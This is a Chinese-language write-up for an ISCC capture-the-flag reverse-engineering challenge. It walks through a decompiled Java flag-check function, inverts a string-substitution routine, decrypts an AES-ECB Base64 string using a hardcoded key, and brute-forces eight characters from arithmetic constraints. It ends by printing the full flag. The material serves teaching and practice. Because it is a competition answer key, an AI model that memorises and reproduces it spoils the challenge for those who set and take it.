1 2 3 4 5 6 7 8 9 10 11 12 private boolean getFlag (String input) { String s = first.firstStr(input); if (s.length() < 15 || !s.substring(0 , 5 ).equals("ISCC{" ) || !s.substring(s.length() - 1 ).equals("}" )) { return false ; } String s1 = s.substring(5 , 15 ); String s2 = s.substring(15 , s.length() - 1 ); if (s1.equals(second.secondStr()) && third.thirdStr(s2)) { return true ; } return false ; }
这是个用来判断输入的flag是否正确的函数
功能为
1 2 3 4 5 6 传入字符串(input)->first.firstStr(input)处理->条件判断(必须符合某些条件) *条件 1、s.length() < 15 //必须大于等于15 2、!s.substring(0, 5).equals("ISCC{") //0-4个字符,共5个字符必须为ISCC{ 3、!s.substring(s.length() - 1).equals("}") //最后一个字符必须为}
1 2 ->分割字符串从第5个到第15个前(索引从0开始)保存到变量s1 ->分割字符串从15个到倒数第一个前 保存到变量s2
1 2 ->s1与second.secondStr()的结果作比较 ->s2传入到third.thirdStr()
顺便说下Java的substring,让自己注意一下
js的话是这样写的
1 2 var str="Hello world!" document .write(str.substring(str.length-1 , str.length))
Java的话可以只有一个参数length() - 1,能取到字符串最后一位
1 2 3 4 5 6 7 8 package helloworld;public class hello { public static void main (String[] args) { String a = "abc" ; System.out.println(a.substring(a.length() - 1 )); } }
当然也可以像上面的js那样写
1 2 3 4 5 6 7 8 package helloworld;public class hello { public static void main (String[] args) { String a = "abc" ; System.out.println(a.substring(a.length() - 1 , a.length())); } }
first类 first类里的firstStr函数是简单的字符替换,我们可以把它反着来再新建一个函数firstStr1()
1 2 3 4 5 6 7 8 9 10 11 package helloworld;public class first { public static String firstStr (String s) { return s.replace("B1" , "dN" ).replace("_" , "8" ).replace("!" , "P" ).replace("rea" , "hwl" ).replace('1' , 'u' ).replace("m" , "+" ); } public static String firstStr1 (String s) { return s.replace("dN" , "B1" ).replace("8" , "_" ).replace("P" , "!" ).replace("hwl" , "rea" ).replace('u' , '1' ).replace("+" , "m" ); } }
second类 前面说过字符串和second.secondStr()的结果作比较,那么可以直接输出second.secondStr()来获取部分flag
需要注意,eclipse里面不存在android.util.Base64,但是可以用java.util.Base64代替
相应的,需要改变调用方式
1 Base64.decode("9z2ukkD3Ztxhj+t/S1x1Eg==" , 0 ) -> Base64.getDecoder().decode("9z2ukkD3Ztxhj+t/S1x1Eg==" )
还有eclipse不存在 BuildConfig.FLAVOR
先查看 BuildConfig.FLAVOR
既然为空的话那就直接写“”
最后代码变成了这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package helloworld;import java.util.Base64;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;public class second { public static String secondStr () { byte [] key = "1234567890123456" .getBytes(); try { byte [] middle = Base64.getDecoder().decode("9z2ukkD3Ztxhj+t/S1x1Eg==" ); SecretKeySpec skeySpec = new SecretKeySpec(key, "AES" ); Cipher cipher = Cipher.getInstance("AES/ECB/NoPadding" ); cipher.init(2 , skeySpec); return new String(cipher.doFinal(middle)).replace(" " , "" ); } catch (Exception e) { e.printStackTrace(); return "" ; } } }
运行一下试试
看起来怪怪的
调用first.firstStr1()还原一下看看
舒服了,这才是正常的样子
third类 第一个要求为8个字符,然后开始一个一个单独取char值,赋值给int型变量a0-a7
要求满足一大串东西
1 a0 % 8 == 7 && a0 % 9 == 8 && a1 - 3 == 100 && (a2 ^ 93) == 100 && (a2 * 2) - 10 == a3 && a4 + 1 == 120 && (a5 ^ a6) == 56 && a5 - a6 == 24 && a6 - a7 == 4 && a7 == 80
整理一下
两三个逐个击破可能会简单一点
直接遍历字符串算了,先把可能值弄出来
1 2 String aaa = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz}" ; int a_l = aaa.length();
其实是由js生成的,取需要的部分就行
1 2 3 4 var str1 = "" ;for (i=0 ;i<200 ;i++) { str1 += String .fromCharCode(i); }
进一步操作 接下来只要把最后8位获取出来就行了
我比较笨,一个一个遍历,其实也就不到两秒的事
条件选取 先把third类按照
1 2 3 a0 % 8 == 7 && a0 % 9 == 8 && a1 - 3 == 100 (a2 ^ 93) == 100 && (a2 * 2) - 10 == a3 && a4 + 1 == 120 (a5 ^ a6) == 56 && a5 - a6 == 24 && a6 - a7 == 4 && a7 == 80
处理一下
进行三次循环
获得输出 得到
还原 用first.firstStr1()翻译一下
拼接 获得flag
ISCC{m0B1lE_1s_Gg9reaT!}
结束 谢谢观看
EOF